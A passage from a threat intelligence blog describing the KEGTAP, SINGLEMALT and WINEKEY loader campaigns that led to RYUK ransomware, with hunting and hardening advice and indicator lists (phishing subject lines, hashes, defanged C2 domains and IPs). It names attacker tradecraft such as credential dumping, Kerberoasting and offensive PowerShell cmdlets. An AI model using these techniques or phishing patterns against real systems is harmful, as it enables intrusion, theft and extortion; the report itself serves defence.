T1064 Scripting T1553.002 Code Signing Discovery T1046 Network Service Scanning T1082 System Information Discovery T1518.001 Security Software Discovery Lateral Movement T1021.001 Remote Desktop Protocol T1021.004 SSH Command and Control T1071 Application Layer Protocol T1090 Proxy T1105 Ingress Tool Transfer T1132.001 Standard Encoding For more information, check out our Bring Your Own Land blog post. Additionally, Mandiant experts from the FLARE team will present an in-depth view into UNC1945 on Thursday, Nov. 12. Register today to reserve your spot for this discussion, where the presenters from FLARE and Mandiant Managed Defense will also answer questions from the audience. Finally, for more intelligence on these types of threats, please register for Mandiant Advantage Free, a no-cost version of our threat intelligence platform.

• Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser
by Kimberly Goody on October 28, 2020 at 10:00 pm

Throughout 2020, ransomware activity has become increasingly prolific, relying on an ecosystem of distinct but co-enabling operations to gain access to targets of interest before conducting extortion. Mandiant Threat Intelligence has tracked several loader and backdoor campaigns that lead to the post-compromise deployment of ransomware, sometimes within 24 hours of initial compromise. Effective and fast detection of these campaigns is key to mitigating this threat. The malware families enabling these attacks previously reported by Mandiant to intelligence subscribers include KEGTAP/BEERBOT, SINGLEMALT/STILLBOT and WINEKEY/CORKBOT. While these malware families communicate with the same command and control infrastructure (C2) and are close to functional parity, there are minimal code overlaps across them. Other security researchers have tracked these malware families under the names BazarLoader and BazarBackdoor or Team9. The operators conducting these campaigns have actively targeted hospitals, retirement communities, and medical centers, even in the midst of a global health crisis, demonstrating a clear disregard for human life. Email Campaign TTPs Campaigns distributing KEGTAP, SINGLEMALT and WINEKEY have been sent to individuals at organizations across a broad range of industries and geographies using a series of shifting delivery tactics, techniques and procedures (TTPs). Despite the frequent changes seen across these campaigns, the following has remained consistent across recent activity: Emails contain an in-line link to an actor-controlled Google Docs document, typically a PDF file. This document contains an in-line link to a URL hosting a malware payload. Emails masquerade as generic corporate communications, including follow-ups about documents and phone calls or emails crafted to appear related to complaints, terminations, bonuses, contracts, working schedules, surveys or queries about business hours. Some email communications have included the recipient’s name or employer name in the subject line and/or email body. Despite this uniformity, the associated TTPs have otherwise changed regularly—both between campaigns and across multiple spam runs seen in the same day. Notable ways that these campaigns have varied over time include: Early campaigns were delivered via Sendgrid and included in-line links to Sendgrid URLs that would redirect users to attacker-created Google documents. In contrast, recent campaigns have been delivered via attacker-controlled or compromised email infrastructure and have commonly contained in-line links to attacker-created Google documents, although they have also used links associated with the Constant Contact service. The documents loaded by these in-line links are crafted to appear somewhat relevant to the theme of the email campaign and contain additional links along with instructions directing users to click on them. When clicked, these links download malware binaries with file names masquerading as document files. Across earlier campaigns these malware binaries were hosted on compromised infrastructure, however, the attackers have shifted to hosting their malware on legitimate web services, including Google Drive, Basecamp, Slack, Trello, Yougile, and JetBrains. In recent campaigns, the malware payloads have been hosted on numerous URLs associated with one or more of these legitimate services. In cases where the payloads have been taken down, the actors have sometimes updated their Google documents to contain new, working links. Some campaigns have also incorporated customization, including emails with internal references to the recipients’ organizations (Figure 1) and organizations’ logos embedded into the Google Docs documents (Figure 2). Figure 1: Email containing internal references to target an organization’s name Figure 2: Google Docs PDF document containing a target organization’s logo Hiding the final payload behind multiple links is a simple yet effective way to bypass some email filtering technologies. Various technologies have the ability to follow links in an email to try to identify malware or malicious domains; however, the number of links followed can vary. Additionally, embedding links within a PDF document further makes automated detection and link-following difficult. Post-Compromise TTPs Given the possibility that accesses obtained from these campaigns may be provided to various operators to monetize, the latter-stage TTPs, including ransomware family deployed, may vary across intrusions. A notable majority of cases where Mandiant has had visibility into these post-compromise TTPs have been attributable to UNC1878, a financially motivated actor that monetizes network access via the deployment of RYUK ransomware. Establish Foothold Once the loader and backdoor have been executed on the initial victim host, the actors have used this initial backdoor to download POWERTRICK and/or Cobalt Strike BEACON payloads to establish a foothold. Notably, the respective loader and backdoor as well as POWERTRICK have typically been installed on a small number of hosts in observed incidents, suggesting these payloads may be reserved for establishing a foothold and performing initial network and host reconnaissance. However, BEACON is frequently found on a larger number of hosts and used throughout various stages of the attack lifecycle. Maintain Presence Beyond the preliminary phases of each intrusion, we have seen variations in how these attackers have maintained presence after establishing an initial foothold or moving laterally within a network. In addition to the use of common post-exploitation frameworks such as Cobalt Strike, Metasploit and EMPIRE, we have observed the use of other backdoors, including ANCHOR, that we also believe to be under control of the actors behind TrickBot. The loaders associated with this activity can maintain persistence through reboot by using at least four different techniques, including creating a scheduled task, adding itself to the startup folder as a shortcut, creating a scheduled Microsoft BITS job using /setnotifycmdline, and adding itself to the Userinit value under the following registry key:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. Actors have downloaded POWERTRICK, Metasploit Meterpreter, and Cobalt Strike BEACON payloads following the initial compromise. BEACON payloads have commonly been executed after moving laterally to new hosts within the victim network. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. Notably, BEACON is the backdoor observed most frequently across these incidents. We have observed actors executing encoded PowerShell commands that ultimately executed instances of the PowerShell EMPIRE backdoor. The actors were observed using BEACON to execute PowerLurk’s Register-MaliciousWmiEvent cmdlet to register WMI events used to kill processes related to security tools and utilities, including Task Manager, WireShark, TCPView, ProcDump, Process Explorer, Process Monitor, NetStat, PSLoggedOn, LogonSessions, Process Hacker, Autoruns, AutorunsSC, RegEdit, and RegShot. In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication. Escalate Privileges The most commonly observed methods for escalating privileges in these incidents have involved the use of valid credentials. The actors used a variety of techniques for accessing credentials stored in memory or on disk to access privileged accounts.  The actors used valid credentials obtained using MimiKatz variants to escalate privileges. We’ve observed Mimikatz being executed both from the file system of victim hosts and via PowerShell cmdlets executed via Cobalt Strike BEACON. Actors have gained access to credentials via exported copies of the ntds.dit Active Directory database and SYSTEM and SECURITY registry hives from a Domain Controller.  In multiple instances, the actors have launched attacks against Kerberos, including the use of RUBEUS, the MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet. Reconnaissance The approaches taken to perform host and network reconnaissance across these incidents varied; however, a significant portion of observed reconnaissance activity has revolved around Activity Directory enumeration using publicly available utilities such as BLOODHOUND, SHARPHOUND or ADFind, as well as the execution of PowerShell cmdlets using Cobalt Strike BEACON. BEACON has been installed on a large number of systems across these intrusions and has been used to execute various reconnaissance commands including both built-in host commands and PowerShell cmdlets. Observed PowerShell cmdlets include:Get-GPPPassword Invoke-AllChecks Invoke-BloodHound Invoke-EternalBlue Invoke-FileFinder Invoke-HostRecon Invoke-Inveigh Invoke-Kerberoast Invoke-LoginPrompt Invoke-mimikittenz Invoke-ShareFinder Invoke-UserHunter Mandiant has observed actors using POWERTRICK to execute built-in system commands on the initial victim host, including ipconfig, findstr, and cmd.exe. The actors leveraged publicly available utilities Adfind, BLOODHOUND, SHARPHOUND, and KERBRUTE on victim networks to collect Active Directory information and credentials. WMIC commands have been used to perform host reconnaissance, including listing installed software, listing running processes, and identifying operating system and system architecture. The actors have used a batch script to ping all servers identified during Active Directory enumeration and output the results to res.txt.  The actors used the Nltest command to list domain controllers. Lateral Movement Lateral movement was most commonly accomplished using valid credentials in combination with Cobalt Strike BEACON, RDP and SMB, or using the same backdoors used to establish a foothold in victim networks. The actors have regularly leveraged Cobalt Strike BEACON and Metasploit Meterpreter to move laterally within victim environments.  The actors commonly moved laterally within victim environments using compromised accounts—both those belonging to regular users and accounts with administrative privileges. In addition to the use of common post-exploitation frameworks, lateral movement has also been achieved using WMIC commands and the Windows RDP and SMB protocols.  The actors used the Windows net use command to connect to Windows admin shares to move laterally. Complete Mission Mandiant is directly aware of incidents involving KEGTAP that included the post-compromise deployment of RYUK ransomware. We have also observed instances where ANCHOR infections, another backdoor associated with the same actors, preceded CONTI or MAZE deployment. In at least one case, an executable was observed that was designed to exfiltrate files via SFTP to an attacker-controlled server. The actors have used Cobalt Strike BEACON to exfiltrate data created through network reconnaissance activities as well as user files. The actors were observed deleting their tools from victim hosts in an attempt to remove indicators of compromise. The actors have used their access to the victim network to deploy ransomware payloads. There is evidence to suggest that RYUK ransomware was likely deployed via PsExec, but other scripts or artifacts related to the distribution process were not available for forensic analysis. Hunting Strategies If an organization identifies a host with an active infection believed to be an instance of KEGTAP or a parallel malware family, the following containment actions are recommended. Note that due to the velocity of this intrusion activity, these actions should be taken in parallel. Isolate and perform a forensic review of any impacted systems. Review incoming emails to the user that owns the impacted device for emails matching the distribution campaigns, and take action to remove the messages from all mailboxes. Identify the URLs used by the phishing campaign and block them using proxy or network security devices. Reset credentials for any user accounts associated with execution of the malware. Perform an enterprise wide review for lateral movement authentication from the impacted systems. Check authentication logs from any single-factor remote access solutions that may exist (VPN, VDI, etc) and move towards multi-factor authentication (MFA) as soon as possible. An enterprise-wide effort should be made to identify host-based artifacts related to the execution of first-stage malware and all post-intrusion activity associated with this activity. Some baseline approaches to this have been captured as follows. Activity associated with the KEGTAP loader can often be identified via a review of system startup folders and Userinit values under the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon registry key. %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\adobe.lnk Figure 3: Example LNK file associated with KEGTAP persistence within a system’s startup folders SINGLEMALT employs BITS to maintain persistence through reboot and can often be identified via a review of anomalous BITS jobs. SINGLEMALT uses a well-documented BITS persistence mechanism that intentionally creates a job to download a non-existent URL, which will trigger a failure event. The job is set to retry on a regular interval, thus ensuring the malware continues to run. To review the BITS job on a host run the command bitsadmin /list. Display name may be “Adobe Update”, “System autoupdate” or another generic value. Notify state may be set to Fail (Status 2). FileList URL value may be set to the local host or a URL that does not exist. The Notification Command Line value may contain the path to the SINGLEMALT sample and/or a command to move it to a new location then start it. The Retry Delay value will be set. WINEKEY maintains persistence through reboot via the use of registry RUN keys. Searching for anomalous RUN keys enterprise-wide can help to identify systems impacted by this malware. Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Backup Mgr Value: Path to the backdoor Figure 4: Example registry RUN key used by WINEKEY to maintain persistence The ANCHOR backdoor has been seen across a subset of intrusions associated with this activity and can often be identified via the scheduled tasks it uses to maintain persistence through reboot. The scheduled tasks created by ANCHOR are often unnamed, although that is not always the case. The identification of named scheduled tasks associated with ANCHOR persistence may be constructed according to the following pattern: <Random directory within %APPDATA%> autoupdate#<random number>. All unnamed scheduled tasks should be reviewed, particularly those with a creation date consistent with the time of the suspected compromise. Although it is a low fidelity indicator, ANCHOR activity may also sometimes be identified by searching for binaries within the C:\Windows\SysWOW64 directory that have a file name matching the following pattern: <8 random lowercase chars>.exe. Stacking or sorting on file creation timestamps in the C:\Windows\SysWOW64 directory may also help identify malicious files, as the directory should be mostly static. Post-exploitation activity associated with the deployment of ransomware following these campaigns is typically conducted using the Cobalt Strike attack framework. The BEACON payload associated with Cobalt Strike can often be identified via a review of existing registered services and service creation events (Event ID 7045), both markers of the mechanism it most commonly employs to maintain persistence. The following are additional strategies that may aid in identifying associated activity: Organizations can review web proxy logs in order to identify HXXP requests for file storage, project management, collaboration or communication services with a referrer from a Google Docs document. During the associated post-compromise activity, attackers have commonly staged their tools and data in the PerfLogs directory and Cshare. While collecting data used to enable later-stage operations, the attackers commonly leave instances of ntds.dit and exports of the SYSTEM and SECURITY registry hives on impacted systems. Hardening Strategies The actions taken by the actors to escalate privileges and move laterally in an environment use well-documented techniques that search the network and Active Directory for common misconfigurations that expose credentials and systems for abuse. Organizations can take steps to limit the impact and effectiveness of these techniques. For more in-depth recommendations see our ransomware protection white paper. Harden service accounts against brute force and password guessing attacks. Most organizations have at least a few service accounts with passwords set to never expire. These passwords are likely old and insecure. Make a best effort to reset as many of these accounts as possible to long and complex passwords. In cases where it is possible, migrate to MSAs and gMSAS for automated rotation. Prevent the usage of privileged accounts for lateral movement. Use GPOs to restrict the ability for privileged accounts such as Domain Administrators and privileged service accounts from initiating RDP connections and network logins.Actors often pick just a few accounts to use for RDP; by limiting the number of potential accounts, you provide detection opportunities and opportunities to slow the actor. Block internet access for servers where possible. Often times there is no business need for servers, especially AD infrastructure systems, to access the Internet. The actors often choose high-uptime servers for the deployment of post-exploitation tools such as BEACON. Block uncategorized and newly registered domains using web proxies or DNS filters. Often the final payload delivered via phishing is hosted on a compromised third-party website that do not have a business categorization. Ensure that critical patches are installed on Windows systems as well as network infrastructure. We have observed attackers exploiting well-known vulnerabilities such as Zerologon (CVE-2020-1472) to escalate privileges in an environment prior to deploying ransomware. In other cases, possibly unrelated to UNC1878, we have observed threat actors gain access to an environment through vulnerable VPN infrastructure before deploying ransomware. For more intelligence on ransomware and other threats, please register for Mandiant Advantage Free, a no-cost version of our threat intelligence platform. Check out this episode of State of the Hack for additional information on this threat. Campaign Indicators Sample Email Subjects / Patterns <(first|last)-name>: Important Information <Company Name> <Company Name> complaint <(first|last)-name> <(first|last)-name> Agreement cancellation message Agreement cancellation notice Agreement cancellation notification Agreement cancellation reminder Agreement suspension message Agreement suspension notice Agreement suspension notification Agreement suspension reminder Arrangement cancellation message Arrangement cancellation notice Arrangement cancellation notification Arrangement cancellation reminder Arrangement suspension message Arrangement suspension notice Arrangement suspension notification Arrangement suspension reminder Contract cancellation message Contract cancellation notice Contract cancellation notification Contract cancellation reminder Contract suspension message Contract suspension notice Contract suspension notification Contract suspension reminder debit confirmation FW: <Name> Annual Bonus Report is Ready FW: Urgent: <Company Name>: A Customer Complaint Request – Prompt Action Required RE: <(first|last)-name> RE: <(first|last)-name>: Your Payslip for October RE: <Company Name> – my visit RE: <Company Name> Employee Survey RE: <Company Name> office RE: <Name> about complaint RE: <Name> bonus RE: <Name> termination list RE: <Name> RE: <Company Name> office RE: <(first|last)-name> RE: <(first|last)-name> <(first|last)-name>: complaint RE: <(first|last)-name>: Subpoena RE: <(first|last)-name> RE: <(first|last)-name>: Your Payslip for September RE: about complaint RE: Adopted Filer Forms RE: Business hours adjustment RE: Business hours realignment RE: Business hours rearrangement RE: Business hours restructuring RE: Business schedule adjustment RE: Business schedule realignment RE: Business schedule rearrangement RE: Business schedule restructuring RE: call me RE: changes RE: complaint RE: Complaint in <Company Name>. RE: Complaint on <Name> RE: customer request RE: debit confirmation RE: document copy RE: documents list RE: Edgar Filer forms renovations RE: employee bonuses RE: Filer Forms adaptations RE: my call RE: New filer form types RE: office RE: our meeting RE: Payroll Register RE: report confirmation RE: situation RE: Subpoena RE: termination RE: till 2 pm RE: Urgent <Company Name> Employee Internal Survey RE: visit RE: what about your opinion? RE: what time? RE: why RE: why this debit RE: Working schedule adjustment RE: Working schedule realignment RE: Working schedule rearrangement RE: Working schedule restructuring RE: Your Payslip for September Example Malware Family MD5s KEGTAPdf00d1192451268c31c1f8568d1ff472 BEERBOT6c6a2bfa5846fab374b2b97e65095ec9 SINGLEMALT37aa5690094cb6d638d0f13851be4246 STILLBOT3176c4a2755ae00f4fffe079608c7b25 WINEKEY9301564bdd572b0773f105287d8837c4 CORKBOT0796f1c1ea0a142fc1eb7109a44c86cb Code Signing Certificate CNs ARTBUD RADOM SP Z O O BESPOKE SOFTWARE SOLUTIONS LIMITED Best Fud, OOO BlueMarble GmbH CHOO FSP, LLC Company Megacom SP Z O O ESTELLA, OOO EXON RENTAL SP Z O O Geksan LLC GLOBAL PARK HORIZON SP Z O O Infinite Programming Limited James LTH d.o.o. Logika OOO MADAS d.o.o. MUSTER PLUS SP Z O O NEEDCODE SP Z O O Nordkod LLC NOSOV SP Z O O OOO MEP PLAN CORP PTY LTD REGION TOURISM LLC RESURS-RM OOO Retalit LLC Rumikon LLC SNAB-RESURS, OOO TARAT d.o.o. TES LOGISTIKA d.o.o. VAS CO PTY LTD VB CORPORATE PTY. LTD. VITA-DE d.o.o. UNC1878 Indicators A significant proportion of the post-compromise activity associated with these campaigns has involved the distribution of RYUK ransomware by a threat group tracked by Mandiant as UNC1878. As such, we are releasing indicators associated with this group. BEACON C2s First Seen Domain 12/11/19 updatemanagir[.]us 12/20/19 cmdupdatewin[.]com 12/26/19 scrservallinst[.]info 1/10/20 winsystemupdate[.]com 1/11/20 jomamba[.]best 1/13/20 updatewinlsass[.]com 1/16/20 winsysteminfo[.]com 1/20/20 livecheckpointsrs[.]com 1/21/20 ciscocheckapi[.]com 1/28/20 timesshifts[.]com 1/29/20 cylenceprotect[.]com 1/30/20 sophosdefence[.]com 1/30/20 taskshedulewin[.]com 1/30/20 windefenceinfo[.]com 1/30/20 lsasswininfo[.]com 1/30/20 update-wind[.]com 1/30/20 lsassupdate[.]com 1/30/20 renovatesystem[.]com 1/31/20 updatewinsoftr[.]com 2/2/20 cleardefencewin[.]com 2/2/20 checkwinupdate[.]com 2/2/20 havesetup[.]net 2/3/20 update-wins[.]com 2/3/20 conhostservice[.]com 2/4/20 microsoftupdateswin[.]com 2/4/20 iexploreservice[.]com 2/12/20 avrenew[.]com 2/12/20 target-support[.]online 2/12/20 web-analysis[.]live 2/14/20 freeallsafe[.]com 2/17/20 windefens[.]com 2/17/20 defenswin[.]com 2/17/20 easytus[.]com 2/17/20 greattus[.]com 2/17/20 livetus[.]com 2/17/20 comssite[.]com 2/17/20 findtus[.]com 2/17/20 bigtus[.]com 2/17/20 aaatus[.]com 2/17/20 besttus[.]com 2/17/20 firsttus[.]com 2/17/20 worldtus[.]com 2/26/20 freeoldsafe[.]com 2/26/20 serviceupdates[.]net 2/26/20 topserviceupdater[.]com 2/27/20 myserviceupdater[.]com 2/29/20 myservicebooster[.]net 2/29/20 servicesbooster[.]org 2/29/20 brainschampions[.]com 2/29/20 myservicebooster[.]com 2/29/20 topservicesbooster[.]com 2/29/20 servicesbooster[.]com 2/29/20 topservicesecurity[.]org 2/29/20 topservicesecurity[.]net 2/29/20 topsecurityservice[.]net 2/29/20 myyserviceupdater[.]com 2/29/20 topservicesupdate[.]com 2/29/20 topservicesecurity[.]com 2/29/20 servicesecurity[.]org 2/29/20 myserviceconnect[.]net 3/2/20 topservicesupdates[.]com 3/2/20 yoursuperservice[.]com 3/2/20 topservicehelper[.]com 3/2/20 serviceuphelper[.]com 3/2/20 serviceshelpers[.]com 3/2/20 boostsecuritys[.]com 3/3/20 hakunamatatata[.]com 3/8/20 service-updater[.]com 3/9/20 secondserviceupdater[.]com 3/9/20 twelvethserviceupdater[.]com 3/9/20 twentiethservicehelper[.]com 3/9/20 twelfthservicehelper[.]com 3/9/20 tenthservicehelper[.]com 3/9/20 thirdserviceupdater[.]com 3/9/20 thirdservicehelper[.]com 3/9/20 tenthserviceupdater[.]com 3/9/20 thirteenthservicehelper[.]com 3/9/20 seventeenthservicehelper[.]com 3/9/20 sixteenthservicehelper[.]com 3/9/20 sixthservicehelper[.]com 3/9/20 seventhservicehelper[.]com 3/9/20 seventhserviceupdater[.]com 3/9/20 sixthserviceupdater[.]com 3/9/20 secondservicehelper[.]com 3/9/20 ninthservicehelper[.]com 3/9/20 ninethserviceupdater[.]com 3/9/20 fourteenthservicehelper[.]com 3/9/20 fourthserviceupdater[.]com 3/9/20 firstserviceupdater[.]com 3/9/20 firstservisehelper[.]com 3/9/20 fifthserviceupdater[.]com 3/9/20 eleventhserviceupdater[.]com 3/9/20 fifthservicehelper[.]com 3/9/20 fourservicehelper[.]com 3/9/20 eighthservicehelper[.]com 3/9/20 eighteenthservicehelper[.]com 3/9/20 eighthserviceupdater[.]com 3/9/20 fifteenthservicehelper[.]com 3/9/20 nineteenthservicehelper[.]com 3/9/20 eleventhservicehelper[.]com 3/14/20 thirdservice-developer[.]com 3/14/20 fifthservice-developer[.]com 3/15/20 firstservice-developer[.]com 3/16/20 fourthservice-developer[.]com 3/16/20 ninethservice-developer[.]com 3/16/20 seventhservice-developer[.]com 3/16/20 secondservice-developer[.]com 3/16/20 sixthservice-developer[.]com 3/16/20 tenthservice-developer[.]com 3/16/20 eithtservice-developer[.]com 3/17/20 servicedupdater[.]com 3/17/20 service-updateer[.]com 3/19/20 sexyservicee[.]com 3/19/20 serviceboostnumberone[.]com 3/19/20 servicedbooster[.]com 3/19/20 service-hunter[.]com 3/19/20 servicedhunter[.]com 3/19/20 servicedpower[.]com 3/19/20 sexycservice[.]com 3/23/20 yourserviceupdater[.]com 3/23/20 top-serviceupdater[.]com 3/23/20 top-servicebooster[.]com 3/23/20 serviceshelps[.]com 3/23/20 servicemonsterr[.]com 3/23/20 servicehunterr[.]com 3/23/20 service-helpes[.]com 3/23/20 servicecheckerr[.]com 3/23/20 newservicehelper[.]com 3/23/20 huntersservice[.]com 3/23/20 helpforyourservice[.]com 3/23/20 boostyourservice[.]com 3/26/20 developmasters[.]com 3/26/20 actionshunter[.]com 5/4/20 info-develop[.]com 5/4/20 ayechecker[.]com 5/4/20 service-booster[.]com 9/18/20 zapored[.]com 9/22/20 gtrsqer[.]com 9/22/20 chalengges[.]com 9/22/20 caonimas[.]com 9/22/20 hakunaman[.]com 9/22/20 getinformationss[.]com 9/22/20 nomadfunclub[.]com 9/22/20 harddagger[.]com 9/22/20 errvghu[.]com 9/22/20 reginds[.]com 9/22/20 gameleaderr[.]com 9/22/20 razorses[.]com 9/22/20 vnuret[.]com 9/22/20 regbed[.]com 9/22/20 bouths[.]com 9/23/20 ayiyas[.]com 9/23/20 serviceswork[.]net 9/23/20 moonshardd[.]com 9/23/20 hurrypotter[.]com 9/23/20 biliyilish[.]com 9/23/20 blackhoall[.]com 9/23/20 checkhunterr[.]com 9/23/20 daggerclip[.]com 9/23/20 check4list[.]com 9/24/20 chainnss[.]com 9/29/20 hungrrybaby[.]com 9/30/20 martahzz[.]com 10/1/20 jonsonsbabyy[.]com 10/1/20 wondergodst[.]com 10/1/20 zetrexx[.]com 10/1/20 tiancaii[.]com 10/1/20 cantliee[.]com 10/1/20 realgamess[.]com 10/1/20 maybebaybe[.]com 10/1/20 saynoforbubble[.]com 10/1/20 chekingking[.]com 10/1/20 rapirasa[.]com 10/1/20 raidbossa[.]com 10/1/20 mountasd[.]com 10/1/20 puckhunterrr[.]com 10/1/20 pudgeee[.]com 10/1/20 loockfinderrs[.]com 10/1/20 lindasak[.]com 10/1/20 bithunterr[.]com 10/1/20 voiddas[.]com 10/1/20 sibalsakie[.]com 10/1/20 giveasees[.]com 10/1/20 shabihere[.]com 10/1/20 tarhungangster[.]com 10/1/20 imagodd[.]com 10/1/20 raaidboss[.]com 10/1/20 sunofgodd[.]com 10/1/20 rulemonster[.]com 10/1/20 loxliver[.]com 10/1/20 servicegungster[.]com 10/1/20 kungfupandasa[.]com 10/2/20 check1domains[.]com 10/5/20 sweetmonsterr[.]com 10/5/20 qascker[.]com 10/7/20 remotessa[.]com 10/7/20 cheapshhot[.]com 10/7/20 havemosts[.]com 10/7/20 unlockwsa[.]com 10/7/20 sobcase[.]com 10/7/20 zhameharden[.]com 10/7/20 mixunderax[.]com 10/7/20 bugsbunnyy[.]com 10/7/20 fastbloodhunter[.]com 10/7/20 serviceboosterr[.]com 10/7/20 servicewikii[.]com 10/7/20 secondlivve[.]com 10/7/20 quwasd[.]com 10/7/20 luckyhunterrs[.]com 10/7/20 wodemayaa[.]com 10/7/20 hybriqdjs[.]com 10/7/20 gunsdrag[.]com 10/7/20 gungameon[.]com 10/7/20 servicemount[.]com 10/7/20 servicesupdater[.]com 10/7/20 service-boosterr[.]com 10/7/20 serviceupdatter[.]com 10/7/20 dotmaingame[.]com 10/12/20 backup1service[.]com 10/13/20 bakcup-monster[.]com 10/13/20 bakcup-checker[.]com 10/13/20 backup-simple[.]com 10/13/20 backup-leader[.]com 10/13/20 backup-helper[.]com 10/13/20 service-checker[.]com 10/13/20 nasmastrservice[.]com 10/14/20 service-leader[.]com 10/14/20 nas-simple-helper[.]com 10/14/20 nas-leader[.]com 10/14/20 boost-servicess[.]com 10/14/20 elephantdrrive[.]com 10/15/20 service-hellper[.]com 10/16/20 top-backuphelper[.]com 10/16/20 best-nas[.]com 10/16/20 top-backupservice[.]com 10/16/20 bestservicehelper[.]com 10/16/20 backupnas1[.]com 10/16/20 backupmastter[.]com 10/16/20 best-backup[.]com 10/17/20 viewdrivers[.]com 10/19/20 topservicebooster[.]com 10/19/20 topservice-masters[.]com 10/19/20 topbackupintheworld[.]com 10/19/20 topbackup-helper[.]com 10/19/20 simple-backupbooster[.]com 10/19/20 top3-services[.]com 10/19/20 backup1services[.]com 10/21/20 backupmaster-service[.]com 10/21/20 backupmasterservice[.]com 10/21/20 service1updater[.]com 10/21/20 driverdwl[.]com 10/21/20 backup1master[.]com 10/21/20 boost-yourservice[.]com 10/21/20 checktodrivers[.]com 10/21/20 backup1helper[.]com 10/21/20 driver1updater[.]com 10/21/20 driver1master[.]com 10/23/20 view-backup[.]com 10/23/20 top3servicebooster[.]com 10/23/20 servicereader[.]com 10/23/20 servicehel[.]com 10/23/20 driver-boosters[.]com 10/23/20 service1update[.]com 10/23/20 service-hel[.]com 10/23/20 driver1downloads[.]com 10/23/20 service1view[.]com 10/23/20 backups1helper[.]com 10/25/20 idriveview[.]com 10/26/20 debug-service[.]com 10/26/20 idrivedwn[.]com 10/28/20 driverjumper[.]com 10/28/20 service1boost[.]com 10/28/20 idriveupdate[.]com 10/28/20 idrivehepler[.]com 10/28/20 idrivefinder[.]com 10/28/20 idrivecheck[.]com 10/28/20 idrivedownload[.]com First Seen Server Subject MD5 12/12/19 140.82.60.155:443 CN=updatemanagir[.]us ec16be328c09473d5e5c07310583d85a 12/21/19 96.30.192.141:443 CN=cmdupdatewin[.]com 3d4de17df25412bb714fda069f6eb27e 1/6/20 45.76.49.78:443 CN=scrservallinst[.]info cd6035bd51a44b597c1e181576dd44d9 1/8/20 149.248.58.11:443 CN=updatewinlsass[.]com 8c581979bd11138ffa3a25b895b97cc0 1/9/20 96.30.193.57:443 CN=winsystemupdate[.]com e4e732502b9658ea3380847c60b9e0fe 1/14/20 95.179.219.169:443 CN=jomamba[.]best 80b7001e5a6e4bd6ec79515769b91c8b 1/16/20 140.82.27.146:443 CN=winsysteminfo[.]com 29e656ba9d5d38a0c17a4f0dd855b37e 1/19/20 45.32.170.9:443 CN=livecheckpointsrs[.]com 1de9e9aa8363751c8a71c43255557a97 1/20/20 207.148.8.61:443 CN=ciscocheckapi[.]com 97ca76ee9f02cfda2e8e9729f69bc208 1/28/20 209.222.108.106:443 CN=timesshifts[.]com 2bb464585f42180bddccb50c4a4208a5 1/29/20 31.7.59.141:443 CN=updatewinsoftr[.]com 07f9f766163c344b0522e4e917035fe1 1/29/20 79.124.60.117:443 C=US 9722acc9740d831317dd8c1f20d8cfbe 1/29/20 66.42.86.61:443 CN=lsassupdate[.]com 3c9b3f1e12473a0fd28dc37071168870 1/29/20 45.76.20.140:443 CN=cylenceprotect[.]com da6ce63f4a52244c3dced32f7164038a 1/29/20 45.76.20.140:80 CN=cylenceprotect[.]com da6ce63f4a52244c3dced32f7164038a 1/30/20 149.248.5.240:443 CN=sophosdefence[.]com e9b4b649c97cdd895d6a0c56015f2e68 1/30/20 144.202.12.197:80 CN=windefenceinfo[.]com c6c63024b18f0c5828bd38d285e6aa58 1/30/20 149.248.5.240:80 CN=sophosdefence[.]com e9b4b649c97cdd895d6a0c56015f2e68 1/30/20 149.28.246.25:80 CN=lsasswininfo[.]com f9af8b7ddd4875224c7ce8aae8c1b9dd 1/30/20 144.202.12.197:443 CN=windefenceinfo[.]com c6c63024b18f0c5828bd38d285e6aa58 1/30/20 149.28.246.25:443 CN=lsasswininfo[.]com f9af8b7ddd4875224c7ce8aae8c1b9dd 1/30/20 45.77.119.212:443 CN=taskshedulewin[.]com e1dc7cecd3cb225b131bdb71df4b3079 1/30/20 45.77.119.212:80 CN=taskshedulewin[.]com e1dc7cecd3cb225b131bdb71df4b3079 1/30/20 149.28.122.130:443 CN=renovatesystem[.]com 734c26d93201cf0c918135915fdf96af 1/30/20 45.32.170.9:80 CN=livecheckpointsrs[.]com 1de9e9aa8363751c8a71c43255557a97 1/30/20 149.248.58.11:80 CN=updatewinlsass[.]com 8c581979bd11138ffa3a25b895b97cc0 1/30/20 149.28.122.130:80 CN=renovatesystem[.]com 734c26d93201cf0c918135915fdf96af 1/30/20 207.148.8.61:80 CN=ciscocheckapi[.]com 97ca76ee9f02cfda2e8e9729f69bc208 1/31/20 81.17.25.210:443 CN=update-wind[.]com 877bf6c685b68e6ddf23a4db3789fcaa 1/31/20 31.7.59.141:80 CN=updatewinsoftr[.]com 07f9f766163c344b0522e4e917035fe1 2/2/20 155.138.214.247:80 CN=cleardefencewin[.]com 61df4864dc2970de6dcee65827cc9a54 2/2/20 155.138.214.247:443 CN=cleardefencewin[.]com 61df4864dc2970de6dcee65827cc9a54 2/2/20 45.76.231.195:443 CN=checkwinupdate[.]com d8e5dddeec1a9b366759c7ef624d3b8c 2/2/20 45.76.231.195:80 CN=checkwinupdate[.]com d8e5dddeec1a9b366759c7ef624d3b8c 2/3/20 46.19.142.154:443 CN=havesetup[.]net cd354c309f3229aff59751e329d8243a 2/3/20 95.179.219.169:80 CN=jomamba[.]best 80b7001e5a6e4bd6ec79515769b91c8b 2/3/20 140.82.60.155:80 CN=updatemanagir[.]us ec16be328c09473d5e5c07310583d85a 2/3/20 209.222.108.106:80 CN=timesshifts[.]com 2bb464585f42180bddccb50c4a4208a5 2/3/20 66.42.118.123:443 CN=conhostservice[.]com 6c21d3c5f6e8601e92ae167a7cff721c 2/4/20 80.240.18.106:443 CN=microsoftupdateswin[.]com 27cae092ad6fca89cd1b05ef1bb73e62 2/4/20 95.179.215.228:443 CN=iexploreservice[.]com 26010bebe046b3a33bacd805c2617610 2/12/20 155.138.216.133:443 CN=defenswin[.]com e5005ae0771fcc165772a154b7937e89 2/12/20 45.32.130.5:443 CN=avrenew[.]com f32ee1bb35102e5d98af81946726ec1b 2/14/20 45.76.167.35:443 CN=freeallsafe[.]com 85f743a071a1d0b74d8e8322fecf832b 2/14/20 45.63.95.187:443 